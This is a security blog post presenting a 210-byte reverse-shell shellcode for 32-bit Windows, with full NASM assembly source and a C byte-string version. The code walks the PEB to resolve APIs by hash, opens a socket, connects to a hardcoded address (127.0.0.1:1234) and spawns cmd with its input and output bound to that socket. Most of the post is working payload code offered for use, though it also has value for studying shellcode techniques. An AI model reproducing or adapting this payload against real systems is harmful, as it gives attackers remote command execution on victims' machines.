Shellcode: A Tweetable Reverse Shell for x86 Windows

Introduction

Since being granted a 280 character limit, many twitter users have been embedding all kinds of code into a single message. This will be a quick post showing a tweetable reverse shell for x86 windows. You’ll have to forgive me for writing about boring shellcodes again, I have nothing else to write about 😛

Payload generators seem unable to produce a reverse shell equal to or less than 210 bytes which is required before conversion to base64. The code here has been written mostly from scratch, but obviously not without influence from existing shellcodes that featured nice ideas.

There are 3 in particular I took ideas from. Not all of the code is entirely necessary, but I wanted the final code to be somewhat stable. In the end, I had to remove code to gracefully exit, so once the cmd process ends, it takes the host process with it…

Moreover, this code is unlikely to run smoothly on all versions of Windows due to elimination of code that would make it work. If you can optimize it further, I’m sure you can get it to work on all versions of windows.

Recycling ideas

The following codes were useful for writing the tweetable version.

Year Author Description
2007 weiss Traverses the PEB DLL list, and initializes all parameters before calling API, the latter of which seems to be inspired by rgb/29a viruses.
2008 weiss A function to resolve and invoke an API is kept separate from all other code. It jumps directly to the API address once found and then returns to the caller.
2009 Stephen Fewer Provides additional hashing of DLL name from PEB

Here’s the source code which can be assembled using YASM or NASM.

; 210 byte reverse shell for x86 windows
; odzhan
    bits   32

struc pushad_t
  _edi resd 1
  _esi resd 1
  _ebp resd 1
  _esp resd 1
  _ebx resd 1
  _edx resd 1
  _ecx resd 1
  _eax resd 1
  .size:
endstruc

      bits   32

      xor    eax, eax
      call   init_api_disp  ; load the API dispatcher
api_hash:      
      dd     0xDF6D65D1     ; WS2_32.dll   + WSASocketA    
      db     'cmd',0h    
      dd     0D2040002h     ; sa.sin_port = htons(1234)
      dd     00100007Fh     ; sa.sin_addr = inet_addr("127.0.0.1")
      dd     0xA324AC0C     ; WS2_32.dll   + connect
      dd     0x611AD39B     ; KERNEL32.dll + CreateProcessA
      dd     0x607F058C     ; KERNEL32.dll + WaitForSingleObject
      ;dd     0x467EDD8B     ; ntdll.dll    + RtlExitUserThread
api_disp: 
      lodsd                 ; eax = hash to find
      pushad                ; saves api hash on stack
      xor    eax, eax
      mov    eax, [fs:eax+30h]  ; eax = (PPEB) __readfsdword(0x30);
      mov    eax, [eax+0ch] ; eax = (PPEB_LDR_DATA)peb->Ldr
      mov    edi, [eax+0ch] ; edi = ldr->InLoadOrderModuleList.Flink
      jmp    get_dll
next_dll:    
      mov    edi, [edi]     ; edi = dte->InLoadOrderLinks.Flink
get_dll:
      mov    ebx, [edi+18h] ; ebx = dte->DllBase
      ; eax = IMAGE_DOS_HEADER.e_lfanew
      mov    eax, [ebx+3ch]
      ; ecx = IMAGE_DATA_DIRECTORY.VirtualAddress
      mov    ecx, [ebx+eax+78h]
      jecxz  next_dll
      ; esi = hash_dll(IMAGE_EXPORT_DIRECTORY.Name)
      mov    esi, [ebx+ecx+0ch]
      add    esi, ebx
      xor    eax, eax
      cdq
hash_dll:
      lodsb
      add    edx, eax ;  h += *s++
      rol    edx, 13  ;  h = ROTL32(h, 13) 
      dec    eax
      jns    hash_dll
      mov    ebp, edx
      
      ; esi = offset IMAGE_EXPORT_DIRECTORY.NumberOfNames 
      lea    esi, [ebx+ecx+18h]
      lodsd
      xchg   eax, ecx
      jecxz  next_dll        ; skip if no names
      push   edi             ; save edi
      ; save IMAGE_EXPORT_DIRECTORY.AddressOfFunctions     
      lodsd
      add    eax, ebx        ; eax = RVA2VA(eax, ebx)
      push   eax             ; save address of functions
      ; edi = IMAGE_EXPORT_DIRECTORY.AddressOfNames
      lodsd
      add    eax, ebx        ; eax = RVA2VA(eax, ebx)
      xchg   eax, edi        ; swap(eax, edi)
      ; save IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
      lodsd
      add    eax, ebx        ; eax = RVA(eax, ebx)
      push   eax             ; save address of name ordinals
get_name:
      mov    esi, [edi+4*ecx-4] ; esi = RVA of API string
      add    esi, ebx           ; esi = RVA2VA(esi, ebx)
      xor    eax, eax           ; zero eax
      cdq                       ; h = 0
hash_name:    
      lodsb
      add    edx, eax
      rol    edx, 13
      dec    eax
      jns    hash_name
      add    edx, ebp           ; add hash of DLL string  
      cmp    edx, [esp+_eax+12] ; hashes match?
      loopne get_name           ; --ecx && edx != hash
      pop    edx                ; edx = AddressOfNameOrdinals
      pop    esi                ; esi = AddressOfFunctions
      pop    edi                ; restore DLL entry
      jne    next_dll           ; get next DLL        
      movzx  eax, word [edx+2*ecx] ; eax = AddressOfNameOrdinals[eax]
      add    ebx, [esi+4*eax] ; ecx = base + AddressOfFunctions[eax]
      mov    [esp+_eax], ebx
      popad                        ; restore all
      jmp    eax                   ; jmp to api address
    
init_api_disp:        
      pop    esi                   ; esi = api parameters
      lea    ebp, [esi+(api_disp - api_hash)]
      
      ; edi = alloc(124);    
      push   124
      pop    ecx
      sub    esp, ecx
      mov    edi, esp
      rep    stosb

      ; WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_IP, NULL, 0, 0);
      push   1
      push   2
      call   ebp

      ; CreateProcess(NULL, "cmd", NULL, NULL, 
      ;   TRUE, 0, NULL, NULL, &si, &pi);
      mov    ebx, esp       ; ebx = &si
      lea    edi, [ebx+38h] ; edi = &si.hStdInput
      inc    dword[ebx+2dh] ; si.dwFlags = STARTF_USESTDHANDLES
      stosd                 ; si.hStdInput  = s;
      stosd                 ; si.hStdOutput = s;
      stosd                 ; si.hStdError  = s;
      cdq      
      push   edi            ; lpProcessInformation = &pi
      push   ebx            ; lpStartupInfo = &si      
      push   edx            ; lpCurrentDirectory = NULL
      push   edx            ; lpEnvironment = NULL
      push   edx            ; dwCreationFlags = 0
      push   eax            ; bInheritHandles = TRUE
      push   edx            ; lpThreadAttributes = NULL
      push   edx            ; lpProcessAttributes = NULL
      push   esi            ; lpCommandLine = "cmd", 0
      push   edx            ; lpApplicationName = NULL
      xchg   ebx, eax
      lodsd
      ; connect(s, &sa, sizeof(sa));
      push   10h            ; sizeof(sa)
      push   esi            ; &sa
      push   ebx            ; s
      lodsd                 ; skip &sa
      lodsd
      call   ebp            ; connect
      call   ebp            ; CreateProcessA

      ; WaitForSingleObject(pi.hProcess, INFINITE);
      push   -1
      push   dword [edi]
      call   ebp   
      
      ; RtlExitUserThread();
      ; call   ebp

Here’s a C string…don’t forget it uses 127.0.0.1 port 1234 for the network address.

#define RS2_SIZE 210

char RS2[] = {
  /* 0000 */ "\x31\xc0"                 /* xor eax, eax                */
  /* 0002 */ "\xe8\x90\x00\x00\x00"     /* call 0x97                   */
  /* 0007 */ "\xd1\x65\x6d"             /* shl dword [ebp+0x6d], 1     */
  /* 000A */ "\xdf\x63\x6d"             /* fbld tword [ebx+0x6d]       */
  /* 000D */ "\x64\x00\x02"             /* add [fs:edx], al            */
  /* 0010 */ "\x00\x04\xd2"             /* add [edx+edx*8], al         */
  /* 0013 */ "\x7f\x00"                 /* jg 0x15                     */
  /* 0015 */ "\x00\x01"                 /* add [ecx], al               */
  /* 0017 */ "\x0c\xac"                 /* or al, 0xac                 */
  /* 0019 */ "\x24\xa3"                 /* and al, 0xa3                */
  /* 001B */ "\x9b"                     /* wait                        */
  /* 001C */ "\xd3\x1a"                 /* rcr dword [edx], cl         */
  /* 001E */ "\x61"                     /* popad                       */
  /* 001F */ "\x8c\x05\x7f\x60\xad\x60" /* mov [0x60ad607f], es        */
  /* 0025 */ "\x31\xc0"                 /* xor eax, eax                */
  /* 0027 */ "\x64\x8b\x40\x30"         /* mov eax, [fs:eax+0x30]      */
  /* 002B */ "\x8b\x40\x0c"             /* mov eax, [eax+0xc]          */
  /* 002E */ "\x8b\x78\x0c"             /* mov edi, [eax+0xc]          */
  /* 0031 */ "\xeb\x02"                 /* jmp 0x35                    */
  /* 0033 */ "\x8b\x3f"                 /* mov edi, [edi]              */
  /* 0035 */ "\x8b\x5f\x18"             /* mov ebx, [edi+0x18]         */
  /* 0038 */ "\x8b\x43\x3c"             /* mov eax, [ebx+0x3c]         */
  /* 003B */ "\x8b\x4c\x03\x78"         /* mov ecx, [ebx+eax+0x78]     */
  /* 003F */ "\xe3\xf2"                 /* jecxz 0x33                  */
  /* 0041 */ "\x8b\x74\x0b\x0c"         /* mov esi, [ebx+ecx+0xc]      */
  /* 0045 */ "\x01\xde"                 /* add esi, ebx                */
  /* 0047 */ "\x31\xc0"                 /* xor eax, eax                */
  /* 0049 */ "\x99"                     /* cdq                         */
  /* 004A */ "\xac"                     /* lodsb                       */
  /* 004B */ "\x01\xc2"                 /* add edx, eax                */
  /* 004D */ "\xc1\xc2\x0d"             /* rol edx, 0xd                */
  /* 0050 */ "\x48"                     /* dec eax                     */
  /* 0051 */ "\x79\xf7"                 /* jns 0x4a                    */
  /* 0053 */ "\x89\xd5"                 /* mov ebp, edx                */
  /* 0055 */ "\x8d\x74\x0b\x18"         /* lea esi, [ebx+ecx+0x18]     */
  /* 0059 */ "\xad"                     /* lodsd                       */
  /* 005A */ "\x91"                     /* xchg ecx, eax               */
  /* 005B */ "\xe3\xd6"                 /* jecxz 0x33                  */
  /* 005D */ "\x57"                     /* push edi                    */
  /* 005E */ "\xad"                     /* lodsd                       */
  /* 005F */ "\x01\xd8"                 /* add eax, ebx                */
  /* 0061 */ "\x50"                     /* push eax                    */
  /* 0062 */ "\xad"                     /* lodsd                       */
  /* 0063 */ "\x01\xd8"                 /* add eax, ebx                */
  /* 0065 */ "\x97"                     /* xchg edi, eax               */
  /* 0066 */ "\xad"                     /* lodsd                       */
  /* 0067 */ "\x01\xd8"                 /* add eax, ebx                */
  /* 0069 */ "\x50"                     /* push eax                    */
  /* 006A */ "\x8b\x74\x8f\xfc"         /* mov esi, [edi+ecx*4-0x4]    */
  /* 006E */ "\x01\xde"                 /* add esi, ebx                */
  /* 0070 */ "\x31\xc0"                 /* xor eax, eax                */
  /* 0072 */ "\x99"                     /* cdq                         */
  /* 0073 */ "\xac"                     /* lodsb                       */
  /* 0074 */ "\x01\xc2"                 /* add edx, eax                */
  /* 0076 */ "\xc1\xc2\x0d"             /* rol edx, 0xd                */
  /* 0079 */ "\x48"                     /* dec eax                     */
  /* 007A */ "\x79\xf7"                 /* jns 0x73                    */
  /* 007C */ "\x01\xea"                 /* add edx, ebp                */
  /* 007E */ "\x3b\x54\x24\x28"         /* cmp edx, [esp+0x28]         */
  /* 0082 */ "\xe0\xe6"                 /* loopne 0x6a                 */
  /* 0084 */ "\x5a"                     /* pop edx                     */
  /* 0085 */ "\x5e"                     /* pop esi                     */
  /* 0086 */ "\x5f"                     /* pop edi                     */
  /* 0087 */ "\x75\xaa"                 /* jnz 0x33                    */
  /* 0089 */ "\x0f\xb7\x04\x4a"         /* movzx eax, word [edx+ecx*2] */
  /* 008D */ "\x03\x1c\x86"             /* add ebx, [esi+eax*4]        */
  /* 0090 */ "\x89\x5c\x24\x1c"         /* mov [esp+0x1c], ebx         */
  /* 0094 */ "\x61"                     /* popad                       */
  /* 0095 */ "\xff\xe0"                 /* jmp eax                     */
  /* 0097 */ "\x5e"                     /* pop esi                     */
  /* 0098 */ "\x8d\x6e\x1c"             /* lea ebp, [esi+0x1c]         */
  /* 009B */ "\x6a\x7c"                 /* push 0x7c                   */
  /* 009D */ "\x59"                     /* pop ecx                     */
  /* 009E */ "\x29\xcc"                 /* sub esp, ecx                */
  /* 00A0 */ "\x89\xe7"                 /* mov edi, esp                */
  /* 00A2 */ "\xf3\xaa"                 /* rep stosb                   */
  /* 00A4 */ "\x6a\x01"                 /* push 0x1                    */
  /* 00A6 */ "\x6a\x02"                 /* push 0x2                    */
  /* 00A8 */ "\xff\xd5"                 /* call ebp                    */
  /* 00AA */ "\x89\xe3"                 /* mov ebx, esp                */
  /* 00AC */ "\x8d\x7b\x38"             /* lea edi, [ebx+0x38]         */
  /* 00AF */ "\xff\x43\x2d"             /* inc dword [ebx+0x2d]        */
  /* 00B2 */ "\xab"                     /* stosd                       */
  /* 00B3 */ "\xab"                     /* stosd                       */
  /* 00B4 */ "\xab"                     /* stosd                       */
  /* 00B5 */ "\x99"                     /* cdq                         */
  /* 00B6 */ "\x57"                     /* push edi                    */
  /* 00B7 */ "\x53"                     /* push ebx                    */
  /* 00B8 */ "\x52"                     /* push edx                    */
  /* 00B9 */ "\x52"                     /* push edx                    */
  /* 00BA */ "\x52"                     /* push edx                    */
  /* 00BB */ "\x50"                     /* push eax                    */
  /* 00BC */ "\x52"                     /* push edx                    */
  /* 00BD */ "\x52"                     /* push edx                    */
  /* 00BE */ "\x56"                     /* push esi                    */
  /* 00BF */ "\x52"                     /* push edx                    */
  /* 00C0 */ "\x93"                     /* xchg ebx, eax               */
  /* 00C1 */ "\xad"                     /* lodsd                       */
  /* 00C2 */ "\x6a\x10"                 /* push 0x10                   */
  /* 00C4 */ "\x56"                     /* push esi                    */
  /* 00C5 */ "\x53"                     /* push ebx                    */
  /* 00C6 */ "\xad"                     /* lodsd                       */
  /* 00C7 */ "\xad"                     /* lodsd                       */
  /* 00C8 */ "\xff\xd5"                 /* call ebp                    */
  /* 00CA */ "\xff\xd5"                 /* call ebp                    */
  /* 00CC */ "\x6a\xff"                 /* push 0xffffffff             */
  /* 00CE */ "\xff\x37"                 /* push dword [edi]            */
  /* 00D0 */ "\xff\xd5"                 /* call ebp                    */
};

Testing

It was tested in a 32-bit process (Wow64) running on 64-bit versions of Windows 7 and 10. It’s unlikely to run on Windows NT.

View source here

This entry was posted in assembly, programming, security, shellcode, windows and tagged , , , , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s